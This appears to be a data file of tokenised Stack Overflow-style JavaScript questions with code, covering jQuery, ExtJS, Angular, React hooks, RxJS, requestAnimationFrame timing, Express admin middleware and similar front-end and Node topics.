flying-text end '' > Text3 < /div > $ activeText.stop ( ) .delay ( 5000 ) ;",Jquery text animation delay function not working "JS : I 've assembled a modestly sized application and I am in the process of factoring code to reduce the overall number of maintained lines , as well as performance tuning . The use case that has me posting this question is that I have a button embedded in a menu that invokes ( or needs to invoke ) a method on a controller that displays a form . This currently is implemented using a direct reference to the specific button control , creating a panel , and putting that panel inside of my viewport.The question at : ExtJS 4.1 Call One Controller From Another begins to address the issue of best-practices near the end of responses , but does n't really settle on a base-case that can be reproduced or extended to cover more complex implementations ( which is the aim of my question . ) Given the two controllers : A `` main menu '' controller.A user account controllerThe QuestionWhat would be the ( best ) way to implement a crosswise connection between the two controllers to properly delegate the responsibility of responding to a click event on the menu button for `` Create a New Account ? `` One Possible SolutionUsing componentquery I can easily narrow down the focus of the button in the main menu view using a tag property such that the User controller is responding directly to the event : An unknown alternativeOr I could possible winnow my way through the object graph to find the reference to the User controller from the Menu controller and invoke it that way.The real questionThe question that results from all of this is what the `` most acceptable '' solution is here . One could imagine the use of a third , mediating controller , to `` route '' requests from controls to controllers but I think that goes against what the remainder of the framework is attempting to do . Using a variation of either of these methods currently works however neither feels completely clean and reliable ; or ultimately maintainable long-term ( as code gets spread out rather quickly . ) Additionally the thought had occurred to us to drop into raw events but we run into the same kind of maintainability issues there.Thanks ! // controller/Menu.jsExt.define ( `` App.controller.Menu '' , { extend : `` Ext.app.Controller '' , init : function ( ) { this.control ( { `` viewport > mainmenu > button '' : function ( ctl , evt ) { } } ) ; } } ) ; // controller/User.jsExt.define ( `` App.controller.User '' , { extend : `` Ext.app.Controller '' , stores : [ `` User '' ] , views : [ `` user.Edit '' , `` user.List '' ] , init : function ( ) { } } ) ; // controller/User.js '' viewport > mainmenu > button [ tag=user.create ] '' : function ( ) { } // controller/Menu.js// switch on tag case `` user.create '' App.controller.User.createUserForm ( )",Binding events for more than a single controller in ExtJs "JS : Assume I have the following example : Example OneNow , it could be : Example TwoThe point is n't the actual code , but the use of $ ( this ) when it is used more than once/twice/three times or more.Am I better off performance-wise using example two than example one ( maybe with an explanation why or why not ) ? EDIT/NOTEI suspect that two is better one ; what I was a little fearful of was peppering my code with $ this and than inadvertently introducing a potentially difficult-to-diagnosis bug when I inevitably forget to add the $ this to an event handler . So should I use var $ this = $ ( this ) , or $ this = $ ( this ) for this ? Thanks ! EDITAs Scott points out below , this is considered caching in jQuery.http : //jquery-howto.blogspot.com/2008/12/caching-in-jquery.htmlJared $ ( '.my_Selector_Selected_More_Than_One_Element ' ) .each ( function ( ) { $ ( this ) .stuff ( ) ; $ ( this ) .moreStuff ( ) ; $ ( this ) .otherStuff ( ) ; $ ( this ) .herStuff ( ) ; $ ( this ) .myStuff ( ) ; $ ( this ) .theirStuff ( ) ; $ ( this ) .children ( ) .each ( function ( ) { howMuchStuff ( ) ; } ) ; $ ( this ) .tooMuchStuff ( ) ; // Plus just some regular stuff $ ( this ) .css ( 'display ' , 'none ' ) ; $ ( this ) .css ( 'font-weight ' , 'bold ' ) ; $ ( this ) .has ( '.hisBabiesStuff ' ) .css ( 'color ' , 'light blue ' ) ; $ ( this ) .has ( '.herBabiesStuff ' ) .css ( 'color ' , 'pink ' ) ; } $ ( '.my_Selector_Selected_More_Than_One_Element ' ) .each ( function ( ) { $ this = $ ( this ) ; $ this.stuff ( ) ; $ this.moreStuff ( ) ; $ this.otherStuff ( ) ; $ this.herStuff ( ) ; $ this.myStuff ( ) ; $ this.theirStuff ( ) ; $ this.children ( ) .each ( function ( ) { howMuchStuff ( ) ; } ) ; $ this.tooMuchStuff ( ) ; // Plus just some regular stuff $ this.css ( 'display ' , 'none ' ) ; $ this.css ( 'font-weight ' , 'bold ' ) ; $ this.has ( '.hisBabiesStuff ' ) .css ( 'color ' , 'light blue ' ) ; $ this.has ( '.herBabiesStuff ' ) .css ( 'color ' , 'pink ' ) ; }",Does using $ this instead of $ ( this ) provide a performance enhancement ? "JS : I 've got a pop-up window that calls a RESTful backend to do Oauth authentication , but when the result is returned , it displays the JSON in the popup window rather than closing the popup window and storing the JSON in a model . How do I fix this ? this.socialLogin = function ( provider ) { var url = urlBase + '/ ' + provider , width = 1000 , height = 650 , top = ( window.outerHeight - height ) / 2 , left = ( window.outerWidth - width ) / 2 , socialPopup = null ; $ window.open ( url , 'Social Login ' , 'width= ' + width + ' , height= ' + height + ' , scrollbars=0 , top= ' + top + ' , left= ' + left ) ; } ;",Get JSON Result from popup window . Angular.JS "JS : EditI 'm essentially trying to create the Mario style jump , so as you touch / mousedown on the body I have an object that starts travelling up , but when you let go this acceleration stops . This means I ca n't use FastClick as I 'm looking for touchstart , touchend events , not a single click event.~I 'm trying to respond to a touchstart event on mobile in browser . At the moment I 'm using these two listeners : I 'm essentially trying to emulate something I 've had working really well where I use keydown and keyup events to make a box jump and fall respectively.The issue I 'm having is that a touch start , if you do n't swipe , is actually delaying for a short while . Either that , or a calculation is making me lose framerate.I 'm already using fastclick and that is n't effecting this ( probably because it was never meant to fire on touchstart listeners ) . You can see what I mean here : https : //www.youtube.com/watch ? v=8GgjSFgtmFkI swipe 3 times and the box jumps immediately , and then I click 3 times and you can see ( especially on the second one ) it loses framerate a little bit or is delayed . Here is another , possibly clearer example : https : //www.youtube.com/watch ? v=BAPw1M2YfigThere is a demo here : http : //codepen.io/EightArmsHQ/live/7d851f0e1d3a274b57221dac9aebc16a/Just please bear in mind that you 'll need to either be on a phone or touch device or emulate touches in chrome.Can anyone help me lose the framerate drop or delay that is experienced on a touchstart that does n't turn into a swipe ? document.body.addEventListener ( 'touchstart ' , function ( e ) { e.preventDefault ( ) ; space_on ( ) ; return false ; } , false ) ; document.body.addEventListener ( 'touchend ' , function ( e ) { e.preventDefault ( ) ; space_off ( ) ; return false ; } , false ) ;",Prevent slow firing of touch start when the event remains still "JS : Let 's assume that a component returns null in render method , based on some prop.What is the best way to use expect in order to ensure that component is not rendered ? Example : Is the above code enough ? import React from 'react ' ; import { render , fireEvent } from ' @ testing-library/react ' ; import Pagination from '../Pagination ' ; it ( 'should not render if totaPages is 0 ' , ( ) = > { const { container } = render ( < Pagination activePage= { 1 } totalPages= { 0 } / > ) ; expect ( container.firstChild ) .toBeNull ( ) ; } ) ;",Best practice to check that a component is not rendered "JS : What I want to achieve is to detect the precise time of when a certain change appeared on the screen ( primarily with Google Chrome ) . For example I show an item using $ ( `` xelement '' ) .show ( ) ; or change it using $ ( `` # xelement '' ) .text ( `` sth new '' ) ; and then I would want to see what the performance.now ( ) was exactly when the change appeared on the user 's screen with the given screen repaint . So I 'm totally open to any solutions - below I just refer primarily to requestAnimationFrame ( rAF ) because that is the function that is supposed to help achieve exactly this , only it does n't seem to ; see below.Basically , as I imagine , rAF should execute everything inside it in about 0-17 ms ( whenever the next frame appears on my standard 60 Hz screen ) . Moreover , the timestamp argument should give the value of the time of this execution ( and this value is based on the same DOMHighResTimeStamp measure as performance.now ( ) ) .Now here is one of the many tests I made for this : https : //jsfiddle.net/gasparl/k5nx7zvh/31/What I see in Chrome is : the function inside rAF is executed always within about 0-3 ms ( counting from a performance.now ( ) immediately before it ) , and , what 's weirdest , the rAF timestamp is something totally different from what I get with the performance.now ( ) inside the rAF , being usually about 0-17 ms earlier than the performance.now ( ) called before the rAF ( but sometimes about 0-1 ms afterwards ) .Here is a typical example : In Firefox and in IE it is different . In Firefox the `` before vs. RAF callback start '' is either around 1-3 ms or around 16-17 ms . The `` before vs. RAF stamp '' is always positive , usually around 0-3 ms , but sometimes anything between 3-17 ms . In IE both differences are almost always around 15-18 ms ( positive ) . These are more or less the same of different PCs . However , when I run it on my phone 's Chrome , then , and only then , it seems plausibly correct : `` before vs. RAF stamp '' randomly around 0-17 , and `` RAF callback start '' always a few ms afterwards.For more context : This is for an online response-time experiment where users use their own PC ( but I typically restrict browser to Chrome , so that 's the only browser that really matters to me ) . I show various items repeatedly , and measure the response time as `` from the moment of the display of the element ( when the person sees it ) to the moment when they press a key '' , and count an average from the recorded response times for specific items , and then check the difference between certain item types . This also means that it does n't matter much if the recorded time is always a bit skewed in a direction ( e.g . always 3 ms before the actual appearance of the element ) as long as this skew is consistent for each display , because only the difference really matters . A 1-2 ms precision would be the ideal , but anything that mitigates the random `` refresh rate noise '' ( 0-17 ms ) would be nice.I also gave a try to jQuery.show ( ) callback , but it does not take refresh rate into account : https : //jsfiddle.net/gasparl/k5nx7zvh/67/With HTML : The solution ( based on Kaiido 's answer ) along with working display example : function item_display ( ) { var before = performance.now ( ) ; requestAnimationFrame ( function ( timest ) { var r_start = performance.now ( ) ; var r_ts = timest ; console.log ( `` before : '' , before ) ; console.log ( `` RAF callback start : '' , r_start ) ; console.log ( `` RAF stamp : '' , r_ts ) ; console.log ( `` before vs. RAF callback start : '' , r_start - before ) ; console.log ( `` before vs. RAF stamp : '' , r_ts - before ) ; console.log ( `` '' ) } ) ; } setInterval ( item_display , Math.floor ( Math.random ( ) * ( 1000 - 500 + 1 ) ) + 500 ) ; before : 409265.00000001397RAF callback start : 409266.30000001758RAF stamp : 409260.832 before vs. RAF callback start : 1.30000000353902before vs. RAF stamp : -4.168000013974961 var r_start ; function shown ( ) { r_start = performance.now ( ) ; } function item_display ( ) { var before = performance.now ( ) ; $ ( `` # stim_id '' ) .show ( complete = shown ( ) ) var after = performance.now ( ) ; var text = `` before : `` + before + `` < br > callback RT : `` + r_start + `` < br > after : `` + after + `` < br > before vs. callback : `` + ( r_start - before ) + `` < br > before vs. after : `` + ( after - r_start ) console.log ( `` '' ) console.log ( text ) $ ( `` p '' ) .html ( text ) ; setTimeout ( function ( ) { $ ( `` # stim_id '' ) .hide ( ) ; } , 500 ) ; } setInterval ( item_display , Math.floor ( Math.random ( ) * ( 1000 - 500 + 1 ) ) + 800 ) ; < p > < br > < br > < br > < br > < br > < /p > < span id= '' stim_id '' > STIMULUS < /span > function monkeyPatchRequestPostAnimationFrame ( ) { const channel = new MessageChannel ( ) ; const callbacks = [ ] ; let timestamp = 0 ; let called = false ; channel.port2.onmessage = e = > { called = false ; const toCall = callbacks.slice ( ) ; callbacks.length = 0 ; toCall.forEach ( fn = > { try { fn ( timestamp ) ; } catch ( e ) { } } ) ; } ; window.requestPostAnimationFrame = function ( callback ) { if ( typeof callback ! == 'function ' ) { throw new TypeError ( 'Argument 1 is not callable ' ) ; } callbacks.push ( callback ) ; if ( ! called ) { requestAnimationFrame ( ( time ) = > { timestamp = time ; channel.port1.postMessage ( `` ) ; } ) ; called = true ; } } ; } if ( typeof requestPostAnimationFrame ! == 'function ' ) { monkeyPatchRequestPostAnimationFrame ( ) ; } function chromeWorkaroundLoop ( ) { if ( needed ) { requestAnimationFrame ( chromeWorkaroundLoop ) ; } } // here is how I display items// includes a 100 ms `` warm-up '' function item_display ( ) { window.needed = true ; chromeWorkaroundLoop ( ) ; setTimeout ( function ( ) { var before = performance.now ( ) ; $ ( `` # stim_id '' ) .text ( `` Random new text : `` + Math.round ( Math.random ( ) *1000 ) + `` . `` ) ; $ ( `` # stim_id '' ) .show ( ) ; // I ask for display above , and get display time below requestPostAnimationFrame ( function ( ) { var rPAF_now = performance.now ( ) ; console.log ( `` before vs. rPAF now : '' , rPAF_now - before ) ; console.log ( `` '' ) ; needed = false ; } ) ; } , 100 ) ; } // below is just running example instances of displaying stufffunction example_loop ( count ) { $ ( `` # stim_id '' ) .hide ( ) ; setTimeout ( function ( ) { item_display ( ) ; if ( count > 1 ) { example_loop ( -- count ) ; } } , Math.floor ( Math.random ( ) * ( 1000 - 500 + 1 ) ) + 500 ) ; } example_loop ( 10 ) ; < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/jquery/2.2.3/jquery.min.js '' > < /script > < div id= '' stim_id '' > Any text < /div >",Exact time of display : requestAnimationFrame usage and timeline "JS : I am using Angular JS 1.5.6 and I would like to perform asynchronous input validation that would occure only on blur . I specify that this directive is used with other directives so I can neither use modelOption : { debounce : 500 } nor use modelOption : { updateOn : 'blur ' } . I have tryied the code bellow but curiously on the first blur , no async validation is done , and when I come back to the input the async validation is performed for each typed character , which is exactly what I would like to avoid . } I have plunkered the issue , press F12 to see what is happening in the console . I precise that the WS '/username-check/ ' is a fake , it is not linked to the issue I want to solve . My issue is that the async HTTP request is done at each typed character , whereas I would like it to be done only on blur function blurFocusDirective ( $ http , $ q ) { return { require : 'ngModel ' , link : function ( scope , elm , attrs , modelCtrl ) { elm.on ( 'blur ' , function ( ) { console.log ( 'capture blur event ' ) ; modelCtrl. $ asyncValidators.myValidator = function ( modelValue , viewValue ) { return $ http.get ( '/username-check/ ' + modelValue ) .then ( function ( response ) { if ( ! response.data.validUsername ) { return $ q.reject ( response.data.errorMessage ) ; } return true ; } ) ; } ; } ) ; } } ;",Asynchronous validation on blur Angular JS "JS : This is part of one of my routing module files . As you can see I want route data to have a property whose name I defined in environment file . But this wo n't work when compiling with -- aot flag . This is the error : I have around 30 routes in my application , and all of them have data property with the key 'resourceName ' . And I do n't want to repeat this string 30 times in my application.I can not create class which has resourceName property and instantiate it inside data , because function expressions are n't allowed inside route configuration either.Is there a way around this , or it 's simply not possible to achieve with AOT complier ? Edit : this is environement.ts file : import { environment } from ' @ env/environment ' ; export const routes : Routes = [ { path : `` , children : [ { path : 'organisations ' , component : OrganisationListComponent , data : { [ environment.router.data.resourceName ] : 'ORGANISATION ' // < - error } } , { path : 'organisations/create ' , component : OrganisationCreateComponent , data : { [ environment.router.data.resourceName ] : 'ORGANISATION_LIST ' // < - error } , ... } ERROR in Error during template compile of 'AdminRoutingModule ' Expression form not supported in 'routes ' 'routes ' contains the error at app/admin/admin-routing.module.ts ( 30,11 ) . export const environment = { production : true , version : ' 1.0.0 ' , router : { data : { resourceName : 'resourceName ' } } }",How to make Route data typed in Angular 7 ( in production ) ? "JS : I am using a simple middleware function in my express.js app to verify whether a user has admin privileges : passport is being used for account authentication.Is this secure or can req.user.admin be injected into the request for users who are not supposed to have admin privileges ? Should I first find a user and then check whether said user has admin privileges ? For example : To me , this seems needlessly complicated . It would also cause more database accesses . Is this necessary to verify whether a user is truly an admin or is my first function sufficient ? In essence , who can view or alter req and , thereby , req.user ? function isAdmin ( req , res , next ) { if ( req.user.admin ) return next ( ) ; res.redirect ( `` / '' ) ; } function isAdmin ( req , res , next ) { if ( req.user ) { User.findOne ( { `` _id '' : req.user._id } , function ( err , user ) { if ( err ) { throw err ; } else if ( user.admin ) { return next ( ) ; } else { res.redirect ( `` / '' ) ; } } ) } else { res.redirect ( `` / '' ) ; } }",Is verifying whether a user is an admin based on req.user secure ? "JS : I have been reading and testing below code out for several hours now and I just ca n't seem to grasp certain things.I have been stepping through chrome console basically putting break in every line I can add and have been inspecting and I am just not sure of things1 ) I am just not sure of the purpose of deps array . First odd thing to me is , why does n't script try to put data on first call to it ( from MyModules.define ( `` bar '' , [ ] , function ( ) ) ? Why does script make second call to define ( MyModules.define ( `` foo '' , [ `` bar '' ] , function ( bar ) ) and then add [ `` bar '' ] to the array when first define should have done it in the first place ? 2 ) This code modules [ name ] = impl.apply ( impl , deps ) . Each callbacks , do not use 'this'.. so was apply necessary here ? Also , this is probably my lack of understanding in callback when 'apply ' is used , but how does one read this ? I thought 'apply ' typically goes functionName.apply ( obj , [ ] ) In this case , is this almost like saying functionName.apply ( functionName , [ ] ) ? ? Or is this different because function itself is anonymous ? var MyModules = ( function Manager ( ) { var modules = { } ; function define ( name , deps , impl ) { for ( var i=0 ; i < deps.length ; i++ ) { deps [ i ] = modules [ deps [ i ] ] ; } modules [ name ] = impl.apply ( impl , deps ) ; } function get ( name ) { return modules [ name ] ; } return { define : define , get : get } ; } ) ( ) ; MyModules.define ( `` bar '' , [ ] , function ( ) { function hello ( who ) { return `` Let me introduce : `` + who ; } return { hello : hello } ; } ) MyModules.define ( `` foo '' , [ `` bar '' ] , function ( bar ) { var hungry = `` hippo '' ; function awesome ( ) { console.log ( bar.hello ( hungry ) .toUpperCase ( ) ) ; } return { awesome : awesome } ; } ) ; var bar = MyModules.get ( `` bar '' ) ; var foo = MyModules.get ( `` foo '' ) ; console.log ( bar.hello ( `` hippo '' ) ) ; foo.awesome ( ) ;",javascript module pattern from You do n't know JS "JS : How can I programmatically detect if an object is a jQuery object ? For example : // 1. declare some variablesvar vars = [ 1 , 'hello ' , [ 'bye ' , 3 ] , $ ( body ) , { say : 'hi ' } ] ; // 2 . ? ? ? : implement function that tests whether its parameter is a jQuery objectfunction isjQuery ( arg ) { /* ? ? ? */ } // 3. profitvar test = $ .map ( vars , isjQuery ) ; /* expected [ false , false , false , true , false ] */",How to programmatically detect if an object is a jQuery object ? "JS : Some code that I do n't have control over is overriding the global JSON object without checking if it 's already implemented : The problem is that this version of the JSON parser is very old and has a bug , which is fouling up my attempts at serialization . ( Others have had a similar problem with this implementation . ) Can I get at the browser 's native implementation ? I thought delete would work , but it does n't . I suspect that 's because JSON is an object and not a method in the prototype . Is there some other way to get at it ? var JSON = { org : `` http : //www.JSON.org '' , copyright : `` ( c ) 2005 JSON.org '' , license : `` http : //www.crockford.com/JSON/license.html '' , stringify : function ( a , g ) { ...",restore overridden window.JSON object "JS : I 'm trying to implement something like this : Now that 's obivously uncompilable nonsense , since we try to sample a before creating it , but hopefully it makes my intent clear : Every emitted value from a should depend on one of the old values previously emitted by a . Which old value of a , that 's decided by when was the last time that c emitted something . It 's kinda like calling pairwise on a , except that I do n't want the last two values , but the latest and another from further back.Note that if not for the startWith ( aInitial ) bits , this would n't even be a well-defined question , since the first value emitted by a would be defined cyclically , refering to itself . However , as long as the first value a is specified separately , the construction makes mathematical sense . I just do n't know how to implement it in code in a clean way . My hunch is that there would be a long-winded way of doing this by writing a custom Subject of some kind , but something more elegant would be very welcome.To make this a bit more concrete , in my use case I 'm dealing with a click-and-drag-to-pan type of UI element . m is an Observable of mousemove events , c is an Observable of mousedown events . a would then be something that keeps changing based where the cursor is , and what the value of a was when the click-down happened . // This obviously does n't work , because we try to refer to ` a ` before it exists.// c and m are some Observables.const aSampled = a.pipe ( rxjs.operators.sample ( c ) , rxjs.operators.startWith ( aInitial ) ) ; const a = m.pipe ( rxjs.operators.withLatestFrom ( aSampled ) , map ( ( [ mValue , oldAValue ] ) = > { // Do something . } ) , rxjs.operators.startWith ( aInitial ) ) ;",RxJS : An Observable that takes its own old value as input "JS : I need to manually construct/fire a mousedown event in a way that can be handled by any relevant event handlers ( either in straight JS , jQuery , or interact.js ) , just as a natural mousedown event would . However , the event does not seem to trigger anything the way I expect it to.I am trying to make some irregularly shaped images draggable using the interact.js library . The images are simply rectangular img elements with transparent portions . On each element , I have defined 2 interact.js event listeners : Checking if the click was inside the image area , disabling drag if not ( fires on `` down '' event ) Handling the drag ( fires on `` drag '' event ) However , if the img elements are overlapping , and the user clicks in the transparent area of the top element but on the filled area of the lower element , the lower element should be the target of the drag . After trying several things ( see below ) , I have settled on the solution of : re-ordering the z-indexes of the elements at the same time that I disable drag in step 1 , then re-firing the mousedown event on all lower elements . I 'm using the `` native '' event type ( not jQuery or interact.js ) in hopes that it will literally just replicate the original mousedown event.Unfortunately , this does not work , as the mousedown event does not register with any of the handlers . Why ? I have all the ( relevant ) code at this JSFiddle : https : //jsfiddle.net/tfollo/xr27938a/10/Note that this JSFiddle does not seem to work as smoothly as it does in a normal browser window , but I think it demonstrates the intended functionality.Other things I have tried : Lots of people have proposed different schemes to handle similar problems ( i.e . forwarding events to lower layers , using pointer-events : none , etc ) , but none seem to work to trigger the interact.js handler and start a drag interaction on the right element . I also tried using interaction.start ( provided by interact.js ) but it seems buggy -- there is at least one open issue on the topic and when I tried to start a new drag interaction on a target of my choice I got lots of errors from within the library 's code.I 'm not against revisiting any of these solutions per se , but I would also really like to know why manually firing a mousedown event wo n't work . // code to re-assign `` zIndex '' sfunction demote ( element , interactible , event ) { // block dragging on element interactible.draggable ( false ) ; // get all images lower than the target var z = element.css ( `` zIndex '' ) ; var images = $ ( `` img '' ) .filter ( function ( ) { return Number ( $ ( this ) .css ( `` zIndex '' ) ) < z ; } ) ; // push the target to the back element.css ( `` zIndex '' ,1 ) ; // re-process all lower events $ ( images ) .each ( function ( ) { // move element up $ ( this ) .css ( `` zIndex '' , Number ( $ ( this ) .css ( `` zIndex '' ) ) +1 ) ; // re-fire event if element began below current target elem = document.getElementById ( $ ( this ) .attr ( 'id ' ) ) ; // Create the event . e = new MouseEvent ( `` mousedown '' , { clientX : event.pageX , clientY : event.pageY } ) ; var cancelled = ! elem.dispatchEvent ( e ) ; } ) ; }",Re-firing pointer events onto lower layer ( for irregular-shaped dragging with interact.js ) "JS : I 'm trying to count the frequency of emojis in a block of text . For example : In order to count the frequency of characters in a block of text , I 'm using source : https : //stackoverflow.com/a/18619975/4975358^The above code works great , but it does not recognize emoji characters : Also , I 'd prefer the output to be a list of json objects of length 1 , as opposed to one long json object . `` I love so much `` - > [ { :3 } , { :1 } ] function getFrequency ( string ) { var freq = { } ; for ( var i=0 ; i < string.length ; i++ ) { var character = string.charAt ( i ) ; if ( freq [ character ] ) { freq [ character ] ++ ; } else { freq [ character ] = 1 ; } } return freq ; } ; { � : 1 , � : 3 , � : 2 }",Javascript : Counting frequency of emojis in text "JS : I 'm new to angularjs . I 've 2 drop downs with same values in html . Here I want whenever user selects a value in first drop down then that value want to disable in second drop down . var app = angular.module ( 'plunker ' , [ 'ngRoute ' ] ) ; app.controller ( 'queryCntrl ' , function ( $ scope ) { $ scope.names = [ `` Ali '' , `` Raj '' , `` Ahm '' , `` Sbm '' , `` Lvy '' ] ; } ) ; < ! DOCTYPE html > < html ng-app= '' plunker '' > < head > < title > Fund Transfer < /title > < link rel= '' stylesheet '' href= '' style.css '' type= '' text/css '' / > < script src= '' lib/angular.min.js '' > < /script > < script src= '' lib/angular-route.min.js '' > < /script > < script data-require= '' angular.js @ 1.2.x '' src= '' https : //code.angularjs.org/1.2.22/angular.js '' data-semver= '' 1.2.22 '' > < /script > < script src= '' app.js '' > < /script > < /head > < body > < div ng-controller= '' queryCntrl '' > From < select ng-model= '' selectedName '' ng-options= '' x for x in names '' > < /select > < /div > < div > < br > To < select ng-model= '' selectedName '' ng-options= '' x for x in names '' > < /select > < /div > < /body > < /html >",Two drop downs with same value . If user selects a value in first drop down then that value must be disable in second drop down "JS : Why do these two lines create different values for this ? The first one alerts with the file 's URI , the second one alerts with the `` HTML Paragraph Element '' . So in other words , the second one context is the DOM element , but the first one is the main context . I have done A LOT of research on this , and some of them are a bit over my head , so if someone knows the answer , can you dumb it down for me ? < div > < a href= '' # '' id= `` li2 '' onclick= '' alert ( this ) '' > a link < /a > < /div > < p id= `` p2 '' onclick= '' alert ( this ) '' > a paragraph < /p >",What is the context of `` this '' in this example ? "JS : I 'm having an issue with jQuery-UI draggables and droppables . I need to drag an draggable inside an droppable which is placed inside an iframe . This works ok until I scroll the iframe . The droppable coordinates are not updated.The issue is demonstrated in this fiddleI 'm using the workaround below to make drag and dropping to iframes possible in the first place . It calculates the right offsets but does not use the iframe 's scroll offsets . I tried but could n't get it tweaked so it would take scroll offsets into account.Does anyone have an suggestion to fix the issue . Recommendations to achieve the same thing another way are also more than welcome . // Create new object to cache iframe offsets $ .ui.ddmanager.frameOffsets = { } ; // Override the native ` prepareOffsets ` method . This is almost// identical to the un-edited method , except for the last part ! $ .ui.ddmanager.prepareOffsets = function ( t , event ) { var i , j , m = $ .ui.ddmanager.droppables [ t.options.scope ] || [ ] , type = event ? event.type : null , // workaround for # 2317 list = ( t.currentItem || t.element ) .find ( `` : data ( ui-droppable ) '' ) .addBack ( ) , doc , frameOffset ; droppablesLoop : for ( i = 0 ; i < m.length ; i++ ) { //No disabled and non-accepted if ( m [ i ] .options.disabled || ( t & & ! m [ i ] .accept.call ( m [ i ] .element [ 0 ] , ( t.currentItem || t.element ) ) ) ) { continue ; } // Filter out elements in the current dragoged item for ( j = 0 ; j < list.length ; j++ ) { if ( list [ j ] === m [ i ] .element [ 0 ] ) { m [ i ] .proportions ( ) .height = 0 ; continue droppablesLoop ; } } m [ i ] .visible = m [ i ] .element.css ( `` display '' ) ! == `` none '' ; if ( ! m [ i ] .visible ) { continue ; } //Activate the droppable if used directly from draggables if ( type === `` mousedown '' ) { m [ i ] ._activate.call ( m [ i ] , event ) ; } // Re-calculate offset m [ i ] .offset = m [ i ] .element.offset ( ) ; // Re-calculate proportions ( jQuery UI ~1.10 introduced a ` proportions ` cache method , so support both here ! ) proportions = { width : m [ i ] .element [ 0 ] .offsetWidth , height : m [ i ] .element [ 0 ] .offsetHeight } ; typeof m [ i ] .proportions === 'function ' ? m [ i ] .proportions ( proportions ) : ( m [ i ] .proportions = proportions ) ; /* ============ Here comes the fun bit ! =============== */ // If the element is within an another document ... if ( ( doc = m [ i ] .document [ 0 ] ) ! == document ) { // Determine in the frame offset using cached offset ( if already calculated ) frameOffset = $ .ui.ddmanager.frameOffsets [ doc ] ; if ( ! frameOffset ) { // Calculate and cache the offset in our new ` $ .ui.ddmanager.frameOffsets ` object frameOffset = $ .ui.ddmanager.frameOffsets [ doc ] = $ ( // Different browsers store it on different properties ( IE ... ) ( doc.defaultView || doc.parentWindow ) .frameElement ) .offset ( ) ; } // Add the frame offset to the calculated offset m [ i ] .offset.left += frameOffset.left ; m [ i ] .offset.top += frameOffset.top ; } } }",jQuery UI dropzone wrong offset inside scrolled iframe "JS : I am using a custom hook useInstantSearch in my component.When I wrap it in useCallback to I get the following error : This is the code : So effectively to send the updated search term to a child component for display only then the parent handles the debouncing of the search when that term changes.Are not part of the parent component , they are part of useInstantSearch.Is this a warning I can ignore ? React Hook useCallback received a function whose dependencies are unknown . Pass an inline function instead . const [ searchTerm , setSearchTerm ] = useState < string > ( searchQuery ) ; const handleDebouncedSearch = useCallback ( useInstantSearch ( searchTerm , ( search , cancelTrigger , searchStillValid ) = > { console.log ( 'instant search ' , search ) ; } ) , [ ] ) ; useEffect ( ( ) : void = > { handleDebouncedSearch ( searchTerm ) ; } , [ searchTerm , handleDebouncedSearch ] ) ; search , cancelTrigger , searchStillValid import { useEffect , useRef } from 'react ' ; import { CancelTrigger } from '../../../ars/api/api.cancel ' ; const DELAY_SEARCH_MS = 300 ; interface InstantSearchOnChange { ( search : string , cancelTrigger : CancelTrigger , resultStillValid : { ( ) : boolean } ) : void ; } /** * Helper to delay request until user stop typing ( 300ms ) , support deprecated requests ( cancel and helper to not update the state ) , or unmounted component . */export default function useInstantSearch ( initialSearch : string , onChange : InstantSearchOnChange ) : { ( value : string ) : void } { const search = useRef < string > ( initialSearch ) ; const requests = useRef < CancelTrigger [ ] > ( [ ] ) ; const mounted = useRef < boolean > ( true ) ; useEffect ( ( ) = > { return ( ) : void = > { mounted.current = false ; } ; } , [ ] ) ; return value = > { search.current = value ; setTimeout ( ( ) = > { if ( search.current === value ) { requests.current = requests.current.filter ( r = > ! r.cancel ( ) ) ; const trigger = new CancelTrigger ( ) ; requests.current.push ( trigger ) ; onChange ( value , trigger , ( ) = > search.current === value & & mounted.current ) ; } } , DELAY_SEARCH_MS ) ; } ; }",React useCallback linting error missing dependency "JS : I want to use onerror to intercept and log all errors that occur in my JavaScript application . This works as expected except when using promises or async functions.In the following snipped the exception thrown by fail is intercepted as expected but rejectPromise and throwAsync instead of invoking the onerror handler always show an Uncaught ( in promise ) Error in the console ? How can I always intercept all errors in a code base that uses promises and async functions ? window.onerror = function ( message , source , lineno , colno , error ) { console.log ( 'onerror handler logging error ' , message ) ; return true ; } function rejectPromise ( ) { return Promise.reject ( new Error ( 'rejected promise ' ) ) ; } async function throwAsync ( ) { throw new Error ( 'async exception ' ) ; } function fail ( ) { throw new Error ( 'exception ' ) ; } rejectPromise ( ) .then ( ( ) = > console.log ( 'success ' ) ) ; throwAsync ( ) ; fail ( ) ;",Why does onerror not intercept exceptions from promises and async functions "JS : I was raised with the `` everything in JavaScript object oriented and assignable '' paradigm . So I lived my live happy , until ... It compiles , but the alert keeps giving met 'undefined ' . Why ! ? var x = { } ; x.field = true ; x.field.netType = `` System.Boolean '' ; alert ( x.field.netType ) ;",Why is n't everything assignable in JavaScript ? "JS : I 've tried every configuration possible to get a Google Area Chart to display a single point but nothing has worked . I 'm also totally open to any solutions using the Google Line Chart as long as it has a filled area . However , I could n't find a solution for making this work with a line chart either.Already tried setting the pointSize as well as setting the pointSize conditionally if there is only a single row . Tried numerous different ways of configuring the chart including.ANDArea Chart Example JSFiddleLine Chart Example JSFiddleThis Line Chart would need the area below the line filled in but I have n't been able to determine how to do so with this APIExample of the chart I 'm trying to achieve using CanvasJs but I 'm trying to implement it with Google Visualization API and allow for a single point to be shown if there is only a single point on the chart.I 'm expecting the chart to display a single point when there is only one data row . As you can see by the JSFiddle when there is a single row nothing appears but as soon as you uncomment the second row everything works just fine . var data = new google.visualization.DataTable ( ) ; data.addColumn ( 'date ' , 'Updated ' ) ; data.addColumn ( 'number ' , 'Amount ' ) ; data.addRow ( [ new Date ( 1548266417060.704 ) ,100 ] ) ; var mets = [ [ 'Updated ' , 'Amount ' ] , [ new Date ( 1548266417060.704 ) ,100 ] ] ; var data = google.visualization.arrayToDataTable ( mets ) ; function drawChart ( ) { var data = google.visualization.arrayToDataTable ( [ [ 'Updated ' , 'Amount ' ] , [ new Date ( 1548266417060.704 ) ,100 ] , // [ new Date ( 1548716961817.513 ) ,100 ] , ] ) ; var options = { title : 'Company Performance ' , hAxis : { title : 'Year ' , titleTextStyle : { color : ' # 333 ' } } , pointSize : 5 , } ; var chart = new google.visualization.AreaChart ( document.getElementById ( 'chart_div ' ) ) ; chart.draw ( data , options ) ; }",How to display a single data point on Google Area OR Line chart "JS : Here is the code -- pretty sure it is something about extendObservable that I just do n't get , but been staring at it for quite a while now . When addSimpleProperty runs , it seems to update the object , but it does n't trigger a render . const { observable , action , extendObservable } = 